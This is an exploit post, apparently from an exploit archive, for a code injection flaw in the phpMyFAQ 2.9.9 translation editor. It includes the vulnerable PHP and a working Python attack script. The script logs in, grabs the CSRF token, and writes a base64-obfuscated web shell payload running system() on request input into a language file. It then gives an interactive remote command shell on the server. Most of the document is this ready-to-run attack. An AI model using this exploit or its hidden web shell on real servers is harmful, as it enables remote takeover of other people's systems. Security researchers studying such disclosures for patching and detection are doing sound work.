phpMyFAQ 2.9.9 Code Injection Exploit
PHP:
# Exploit Title: [PHPMYFAQ 2.9.9 Code Injection]
# Google Dork: [NA]
# Date: [Nov 6 2017]
# Exploit Author: [tomplixsee]
# Author blog : [cupuzone.wordpress.com]
# Vendor Homepage: [ http://www.phpmyfaq.de]
# Software Link: [http://download.phpmyfaq.de/phpMyFAQ-2.9.9.zip]
# Version: [2.9.9]
# Tested on: [Ubuntu Server 16.04, PHP 7.0.22]
# CVE : [NA]
How to reproduce
1. login to administrative page (example http://vbox-ubuntu-server.me/phpmyfaq/admin/ ) as an admin or any user with right access to edit translation
2. open page configuration->interface translation (assume you use english language). fyi, edit translations only active if folder phpmyfaq/lang is writable, so make sure the folder is writable
3. choose indonesia (or another language) to edit
4. choose page 14 (in example)
5. choose variable LANG_CONF[main.metaDescription]
6. set phpinfo() as value
7. change your languge to indonesia
vulnerable code
on file admin/ajax.trans.php
  43    case 'save_page_buffer':
  44      /*
  45      * Build language variable definitions
  46      * @todo Change input handling using PMF_Filter
  47      */
  48      foreach ((array) @$_POST['PMF_LANG'] as $key => $val) {
  49        if (is_string($val)) {
  50          $val = str_replace(array('\\\\', '\"', '\\\''), array('\\', '"', "'"), $val);
  51          $val = str_replace("'", "\\'", $val);
  52          $_SESSION['trans']['rightVarsOnly']["PMF_LANG[$key]"] = $val;
  53        } elseif (is_array($val)) {
  54          /*
  55          * Here we deal with a two dimensional array
  56          */
  57          foreach ($val as $key2 => $val2) {
  58            $val2 = str_replace(array('\\\\', '\"', '\\\''), array('\\', '"', "'"), $val2);
  59            $val2 = str_replace("'", "\\'", $val2);
  60            $_SESSION['trans']['rightVarsOnly']["PMF_LANG[$key][$key2]"] = $val2;
  61          }
  62        }
  63      }
  64
  65      foreach ((array) @$_POST['LANG_CONF'] as $key => $val) {
  66        // if string like array(blah-blah-blah), extract the contents inside the brackets
  67        if (preg_match('/^\s*array\s*\(\s*(\d+.+)\s*\).*$/', $val, $matches1)) {
  68          // split the resulting string of delimiters such as "number =>"
  69          $valArr = preg_split(
  70            '/\s*(\d+)\s*\=\>\s*/',
  71            $matches1[1],
  72            null,
  73            PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY
  74          );
  75          $numVal = count($valArr);
  76          if ($numVal > 1) {
  77            $newValArr = [];
  78            for ($i = 0; $i < $numVal; $i += 2) {
  79              if (is_numeric($valArr[$i])) {
  80                // clearing quotes
  81                if (preg_match('/^\s*\\\\*[\"|\'](.+)\\\\*[\"|\'][\s\,]*$/', $valArr[$i + 1], $matches2)) {
  82                  $subVal = $matches2[1];
  83                  // normalize quotes
  84                  $subVal = str_replace(array('\\\\', '\"', '\\\''), array('\\', '"', "'"), $subVal);
  85                  $subVal = str_replace("'", "\\'", $subVal);
  86                  // assembly of the original substring back
  87                  $newValArr[] = $valArr[$i].' => \''.$subVal.'\'';
  88                }
  89              }
  90            }
  91            $_SESSION['trans']['rightVarsOnly']["LANG_CONF[$key]"] = 'array('.implode(', ', $newValArr).')';
  92          }
  93        } else {  // compatibility for old behavior
  94          $val = str_replace(array('\\\\', '\"', '\\\''), array('\\', '"', "'"), $val);
  95          $val = str_replace("'", "\\'", $val);
  96          $_SESSION['trans']['rightVarsOnly']["LANG_CONF[$key]"] = $val;
  97        }
  98      }
  99
 100      echo 1;
 101    break;
 102  Â
 103    case 'save_translated_lang':
 104
 105      if (!$user->perm->checkRight($user->getUserId(), 'edittranslation')) {
 106        echo $PMF_LANG['err_NotAuth'];
 107        exit;
 108      }
 109
 110      $lang = strtolower($_SESSION['trans']['rightVarsOnly']['PMF_LANG[metaLanguage]']);
 111      $filename = PMF_ROOT_DIR.'/lang/language_'.$lang.'.php';
 112
 113      if (!is_writable(PMF_ROOT_DIR.'/lang')) {
 114        echo 0;
 115        exit;
 116      }
 117
 118      if (!copy($filename, PMF_ROOT_DIR.'/lang/language_'.$lang.'.bak.php')) {
 119        echo 0;
 120        exit;
 121      }
 122
 123      $newFileContents = '';
 124      $tmpLines = [];
 125
 126      // Read in the head of the file we're writing to
 127      $fh = fopen($filename, 'r');
 128      do {
 129        $line = fgets($fh);
 130        array_push($tmpLines, rtrim($line));
 131      } while ('*/' != substr(trim($line), -2));
 132      fclose($fh);
 133
 134      // Construct lines with variable definitions
 135      foreach ($_SESSION['trans']['rightVarsOnly'] as $key => $val) {
 136        if (0 === strpos($key, 'PMF_LANG')) {
 137          $val = "'$val'";
 138        }
 139        array_push($tmpLines, '$'.str_replace(array('[', ']'), array("['", "']"), $key)." = $val;");
 140      }
 141
 142      $newFileContents .= implode("\n", $tmpLines);
 143
 144      unset($_SESSION['trans']);
 145
 146      $retval = file_put_contents($filename, $newFileContents);
 147      echo intval($retval);
 148      break;
the exploit
-----------------------------------------------------------------
#! /usr/bin/python
import sys, requests, argparse, readline
Â
def main(argv):
 global url, user, password
 parser = argparse.ArgumentParser(description='PHPMYFAQ 2.9.9 Code Injection exploitation tool. author : tomplixsee')
 parser.add_argument('-u','--url', help='target url',required=True)
 parser.add_argument('-p','--password', help='password',required=True)
 parser.add_argument('-s','--user', help='user',required=True)
 args = parser.parse_args()
Â
 url = args.url
 user = args.user
 password = args.password
if __name__ == "__main__":
 main(sys.argv[1:])
#get the cookie
def login():
 global url, user, password,cookie
 print "\033[1;33m>>>>>> logging in\033[1;m"
 data = {"faqusername":user,"faqpassword":password}
 headers = {
 }
 r = requests.post(url+"/admin/index.php", headers=headers, data=data)
 if "dashboard" in r.text:
  print "\033[1;32m>>>>>> login sucessful\033[1;m"
  cookie = r.cookies["PHPSESSID"]
  check()
 else:
  print "login failed"
  sys.exit()
#check if user has access to edit translations.
#get the crsf token Â
def check():
 global url,cookie, csrf
 print "\033[1;33m>>>>>> check user auth\033[1;m"
 headers = {
  'Accept': '*/*',
  "Cookie":"PHPSESSID="+cookie
 }
 r = requests.get(url+"/admin/index.php?action=transedit&translang=id", headers=headers)
 if ("You are not authorized." not in r.text) or ("ajaxaction=save_translated_lang&csrf" in r.text):
  print "\033[1;32m>>>>>> authorized\033[1;m"
 else:
  print "not authorized"
  sys.exit()
 #get csrf token
 str_csrf = r.text.split("action=ajax&ajax=trans&ajaxaction=save_translated_lang&csrf=" )
 csrf = str_csrf[1][0:40]
 savebuffer()
#save payload to session
def savebuffer():
 global url,cookie, csrf
 print "\033[1;33m>>>>>> trying to fill the buffer\033[1;m"
 headers = {
  'Accept': '*/*',
  "Cookie":"PHPSESSID="+cookie
 }
 data = {
  "LANG_CONF[main.metaDescription]":'eval(base64_decode(\"c3lzdGVtKCRfUkVRVUVTVFtxXSk7IGlmKGlzc2V0KCRfUkVRVUVTVFttYXRpXSkpZGllOw==\"))'
 }
 r = requests.post(url+"/admin/index.php?action=ajax&ajax=trans&ajaxaction=save_page_buffer&csrf="+csrf, headers=headers, data=data)
 if r.text=="1":
  print "\033[1;32m>>>>>> success\033[1;m"
  write2file()
 else:
  sys.exit()
 Â
#write payload to file
def write2file():
 global url,cookie, csrf
 print "\033[1;33m>>>>>> write payload to server\033[1;m"
 headers = {
  'Accept': '*/*',
  "Cookie":"PHPSESSID="+cookie
 }
 data = {}
 r = requests.post(url+"/admin/index.php?action=ajax&ajax=trans&ajaxaction=save_translated_lang&csrf="+csrf, headers=headers, data=data)
 if r.text!="":
  print "\033[1;32m>>>>>> success\033[1;m"
  print "\033[1;32m>>>>>> enjoy your shell\033[1;m"
  exploit('')
 else:
  sys.exit()
#send system command
def exploit(command):
 global url,cookie
 command = raw_input('\033[1;31mshell > \033[1;m')
 if command == "exit":
  print "goodbye"
  sys.exit()
 Â
 headers = {
  'Accept': '*/*',
  "Cookie":"PHPSESSID="+cookie
 }
 data = {"q":command,
 "mati":"mati",
 "language":"id"
 }
 r = requests.post(url+"/admin/index.php", headers=headers, data=data)
 print r.text
 exploit('')
 Â
login()
# Â 0day.today [2017-11-20] Â #

